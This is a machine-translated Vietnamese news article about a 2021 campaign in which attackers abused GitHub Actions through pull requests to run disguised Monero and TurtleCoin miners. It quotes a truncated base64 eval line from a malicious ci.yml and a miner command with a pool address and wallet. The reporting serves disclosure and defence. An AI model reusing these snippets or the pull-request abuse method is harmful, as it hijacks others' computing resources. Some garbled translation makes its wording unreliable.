Tiêu đề gốc: " Hacker dùng máy chủ GitHub để đào, chạy 30.000 tác vụ trong 3 ngày, đoạn mã bất ngờ xuất hiện bằng tiếng Trung Quốc 》
Nguồn gốc: qubit
Giá tiền điện tử tăng cao, card đồ họa đắt đỏ, làm sao có thể khai thác "rẻ"?
Tin tặc có một ý tưởng quanh co - máy chủ "mại dâm miễn phí".
Việc tiêm Trojan khai thác vào PC không còn có thể đáp ứng nhu cầu sức mạnh tính toán ngày càng tăng của tin tặc. Nếu bạn có thể sử dụng máy chủ của GitHub miễn phí thì tất nhiên là tuyệt vời.

Và toàn bộ quá trình này có thể dễ dàng hơn việc hack vào PC và nó thậm chí không yêu cầu một chương trình Thành viên đã bị lừa. Chỉ cần gửi Yêu cầu kéo (PR) và ngay cả khi người quản lý dự án không phê duyệt, mã khai thác độc hại vẫn có thể được thực thi.
Nguyên tắc cũng rất đơn giản, sử dụng chức năng tự động thực thi quy trình làm việc của GitHub Action để dễ dàng chạy chương trình khai thác trên máy chủ GitHub.
Ngay từ tháng 11 năm ngoái, tin tặc đã phát hiện ra hành vi này. Điều đáng sợ hơn nữa là đã nửa năm trôi qua mà hiện tượng này vẫn chưa được ngăn chặn một cách hiệu quả.
GitHub khốn khổ, dù tài khoản lậu có thể bị cấm nhưng hacker đã dùng đến "chiến thuật du kích" và liên tục thay đổi số áo để trốn tránh "săn lùng", bỏ mặc chính thức Mệt mỏi vì phải chạy trốn.
Chỉ cách đây vài ngày, một lập trình viên người Hà Lan đã phát hiện ra phương thức tấn công này vẫn tồn tại, thậm chí cả ký tự tiếng Trung cũng xuất hiện trong mã.
Vậy, những tin tặc này đã cài đặt chương trình khai thác như thế nào? Mọi chuyện bắt đầu với Tib, một lập trình viên người Pháp, người đã phát hiện ra điều bất thường.
Tháng 11 năm ngoái, Tib phát hiện ra mình là A Yêu cầu PR đã được nhận trên một repo không tham gia. Và trong vòng 14 giờ, tôi đã nhận được 7 tin nhắn trong số đó, tất cả đều từ một người dùng có tên "y4ndexhater1" mà không có bất kỳ mô tả nào.
Kỳ lạ Đúng vậy, đây là không phải là một dự án phổ biến và số sao là 0.
Khi mở trang chủ dự án, tôi thấy nội dung là tập hợp các mã mẫu hành động github, vòng tròn ci và travis-ci cho dự án Perl. Toàn bộ tài liệu README là một mớ hỗn độn và trông không giống một dự án nguồn mở nghiêm túc chút nào.
Tuy nhiên, repo hỗn loạn và không được ưa chuộng này thực sự đã bị xóa sau 3 ngày Forked 2 lần.
Mọi thứ bất thường đến mức khiến người ta có chút bất an.
Trên tinh thần "tìm cái chết", Tib Quyết định tìm hiểu.
Sau hoạt động của người dùng đáng ngờ, mọi hành động của Tib đều bị xóa và một tệp ci.yml đã được thêm vào quy trình làm việc, với nội dung sau:
Khi Tib nhìn thấy eval "$(echo "XB0IHVwZGF0ZSAt Sau dòng nội dung này, anh lập tức nhảy khỏi ghế sofa và nhận ra tính nghiêm trọng của sự việc: có người đang hack hồ sơ GitHub của anh!
Chuỗi ký tự có vẻ bí ẩn này thực ra được mã hóa base64. Sau khi dịch, người ta thu được một đoạn mã khác:
p>

Hai dòng đầu tiên không cần giải thích, phần thú vị bắt đầu từ dòng thứ ba, sẽ tải xuống một tập tin nhị phân prog. .
Để đảm bảo an toàn, trước tiên Tib cố gắng lấy tin nhắn thay vì thực thi nó, lấy mã hex của nó.
$ objdump -s –section .comment prog
prog: định dạng tệp elf64-x86-64
Nội dung phần .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10 . 2.1
0020 20323032 30313230 3300 20201203.
Tib cũng đã cân nhắc việc giải mã nhưng không thành công.
Không vào hang hổ sẽ không lấy được hổ con nên Tib quyết định thử chạy.
Để thực hiện nhiệm vụ táo bạo và bất tử này nhằm ngăn chặn tình trạng "thử và chết", trước tiên Tib ngắt kết nối mạng máy tính và chọn Run in a Docker thùng đựng hàng. Câu trả lời cuối cùng đã được tiết lộ, hóa ra prog này là một chương trình khai thác có tên XMRig.
$ ./prog –version
XMRig 6.8.1
được xây dựng vào ngày 3 tháng 2 năm 2021 với GCC 10.2. 1
tính năng: AES 64-bit
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
Phiên bản mới nhất của XMRig vào thời điểm đó là 6.8.1, phù hợp với các thông số phiên bản trên. Tuy nhiên, sau khi thử nghiệm với SHA256, người ta phát hiện ra rằng prog này không hẳn là XMRig và Tib dự đoán rằng nó có thể là một phiên bản đã được sửa đổi.
Trên thực tế, không chỉ GitHub có thể bị tấn công, công ty bảo mật Aqua suy đoán rằng các môi trường phát triển phần mềm SaaS như Docker Hub, Travis CI và Circle CI có thể bị tấn công Kiểu tấn công này.
Trong cuộc tấn công này, một kho lưu trữ hợp pháp được phân nhánh, chịu trách nhiệm thêm các Hành động GitHub độc hại vào mã gốc. Sau đó, tin tặc gửi PR tới kho lưu trữ ban đầu và hợp nhất mã trở lại kho lưu trữ ban đầu.
Chương trình khai thác đã tải xuống sẽ được ngụy trang dưới dạng trình biên dịch prog hoặc gcc và quy trình làm việc tự động sẽ được thực thi trên dự án bằng cách gửi PR. Lúc này, máy chủ sẽ chạy chương trình khai thác trá hình.
Những kẻ tấn công này chỉ sử dụng nó Một khi cuộc tấn công có thể chạy tới 100 chương trình khai thác, điều này mang lại khối lượng tính toán khổng lồ cho các máy chủ của GitHub.
Theo ước tính của Aqua, chỉ trong ba ngày, các hacker khai thác đã thực hiện hơn 23.300 cam kết trên GitHub và 58.000 cam kết trên Docker Hub. build, giúp chuyển đổi khoảng 30.000 lần khai thác nhiệm vụ.
Cuộc tấn công này thậm chí không yêu cầu người quản lý kho bị xâm nhập phải chấp nhận mục đích xấu Kéo Lời yêu cầu.
Miễn là bất kỳ tệp .yml nào trong thư mục .github/workflows được định cấu hình để thực thi khi nhận được Yêu cầu kéo thì Hành động từ tin tặc sẽ được thực hiện tự động thực hiện. .
Nếu bạn không sử dụng tính năng này, đừng lo lắng, tin tặc có thể sẽ không tìm thấy bạn.
Nếu cần sử dụng chức năng này, bạn có thể đặt nó thành chỉ cho phép các hành động cục bộ hoặc chỉ cho phép các hành động được tạo bởi các quan chức Github và các tác giả cụ thể.
Sau khi báo cáo tình hình với bộ phận dịch vụ khách hàng, GitHub sẽ cấm tài khoản độc hại và Đóng thao tác Yêu cầu kéo liên quan.
Tuy nhiên, các cuộc tấn công độc hại rất khó tiêu diệt, hacker chỉ cần đăng ký tài khoản mới để tiếp tục sử dụng tài nguyên máy chủ miễn phí.
Chúng tôi phát hiện từ cuộc tấn công mới nhất rằng tin tặc sẽ khai thác Chương trình này là đã tải lên GitLab và cải trang thành công cụ quản lý gói npm.
Mở nani.bat đáng ngờ này và bạn có thể thấy:
npm.exe –thuật toán argon2id_chukwa2
–pool Turtlecoin.herominers.com:10380
–wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7 vodta2fa43Au 59Bp9qMNVrfaNwjWP
–password xo
Lần này hacker đã khai thác TurtleCoin*, số tiền này có thể được tính toán bằng CPU. Khai thác hơn bốn nghìn đồng xu sẽ trị giá 1 đô la theo giá hiện tại.

Máy chủ miễn phí của Github Actions có thể cung cấp hai lõi Intel E5 2673v4, 7GB ĐẬP.
Người ta ước tính đại khái rằng một thao tác đơn lẻ chỉ có thể kiếm được vài xu mỗi ngày và chương trình khai thác của hacker thường chỉ có thể chạy trong vài giờ trước khi bị phát hiện. Ví dụ: Docker Hub giới hạn thời gian chạy các bản dựng tự động ở mức 2 giờ.
Tuy nhiên, con muỗi dù nhỏ đến đâu thì vẫn là thịt. Hacker có thể thực hiện nhiều chương trình khai thác hơn bằng cách tìm thêm các kho chấp nhận hành động công cộng và liên tục mở và mở đóng Yêu cầu kéo.
△Tài khoản hacker tương tự đã tấn công ít nhất 95 kho lưu trữ GitHub
Là người dùng Twitter Dave Điều Walker nói là, nếu bạn cung cấp tài nguyên máy tính miễn phí, hãy lưu ý rằng chúng sẽ bị tấn công và lạm dụng. Điều này là không thể tránh khỏi nếu việc khai thác có lãi.

Theo báo cáo, không chỉ GitHub bị ảnh hưởng mà cả Docker Hub và Travis CI và các nền tảng tích hợp liên tục như Circle CI cung cấp các dịch vụ tương tự.
Tôi không biết khi nào sự hỗn loạn này sẽ kết thúc. Tin tốt duy nhất có thể là tin tặc khai thác dường như chỉ nhắm mục tiêu vào tài nguyên máy chủ do GitHub cung cấp chứ không phải Phá vỡ mã của bạn.
Nhưng GitHub Action còn có nhiều lỗ hổng hơn thế này. Ngoài ra còn có các phương pháp cho phép tin tặc đọc và ghi vào kho lưu trữ của nhà phát triển, thậm chí đọc các tệp bí mật được mã hóa.

Vào tháng 7 năm ngoái, nhóm Google Project Zero đã báo cáo lỗ hổng này cho GitHub . Nhưng sau thời gian sửa lỗi 90 ngày + gia hạn 14 ngày, GitHub vẫn không giải quyết được vấn đề một cách hiệu quả.
Về vấn đề này, đề xuất của chúng tôi là không nên dễ dàng tin tưởng các tác giả Hành động trên thị trường GitHub và không giao chìa khóa của bạn.
Liên kết tham khảo:
[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing- its-server-infrastructure/
[2]https://dev.to/thibaultduponchelle/the-github-action-mining-Attack-through-pull-request-2lmc
[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci
[4]https://twitter. com/JustinPerdok
[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070
Liên kết gốc
Chào mừng bạn tham gia cộng đồng chính thức của BlockBeats:
Nhóm Telegram đăng ký: https://t.me/theblockbeats
Nhóm Telegram thảo luận: https://t.me/BlockBeats_App
Tài khoản Twitter chính thức: https://twitter.com/BlockBeatsAsia